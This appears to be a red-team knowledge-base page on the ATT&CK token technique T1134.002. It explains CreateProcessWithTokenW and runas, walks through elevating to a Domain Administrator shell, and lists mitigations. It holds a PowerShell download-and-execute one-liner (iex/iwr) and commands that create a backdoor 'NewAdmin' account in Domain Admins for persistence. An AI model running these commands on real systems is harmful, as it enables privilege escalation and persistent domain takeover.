Create Process with Token

ATT&CK ID: T1134.002

Permissions Required: User


Adversaries may create a new process with a different token to escalate privileges and bypass access controls. Processes can be created with the token and resulting security context of another user using features such as CreateProcessWithTokenW and runas.

Creating processes with a different token may require the credentials of the target user, specific privileges to impersonate that user, or access to the token to be used (ex: gathered via other means such as Token Impersonation/Theft or Make and Impersonate Token).




Passing more complicated arguments to this module can be unreliable. It may be worth creating Batch or PowerShell scripts on the target system which contain the desired command to be run and then executing them from this module.

Otherwise, if an interactive foothold has been obtained simply specifying Powershell.exe or cmd.exe without additional arguments and the record option "ShowWindow" set to "True" will produce a command window over the interactive session.



iex(iwr -usebasicparsing "");Get-WinLogonTokenSystem


It is not possible to pass the password parameter directly with Runas. The password will be prompted for interactively within the terminal.

Runas /user:<Domain>\<Username> powershell.exe


In the scenario below we are logged onto a domain workstations (WS01). We have obtained credentials for the Domain Administrator.

Using Runas.exe we elevate from our standard user account to a command shell as moe, the Domain Administrator.

Using the known set of credentials we use runas to spawn PowerShell as the Domain Administrator.

Runas /user:Security.local\Moe powershell.exe

Now, with a privilege command shell for the Domain Administrator we can do many things. For example we can create persistence by setting up a new account and promoting the account to a Domain Administrator.

net user /add /domain NewAdmin Password123 
net localgroup "Domain Admins" /domain /add NewAdmin


  • Limit permissions so that users and user groups cannot create tokens. This setting should be defined for the local system account only. GPO: Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > User Rights Assignment: Create a token object. Also define who can create a process level token to only the local and network service through GPO: Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > User Rights Assignment: Replace a process level token.

  • Administrators should log in as a standard user but run their tools with administrator privileges using the built-in access token manipulation command runas.

  • An adversary must already have administrator level access on the local system to make full use of this technique; be sure to restrict users and accounts to the least privileges they require.

Further Reading

Runas | Microsoft Docs:

Invoke-Runas - Empire Module:

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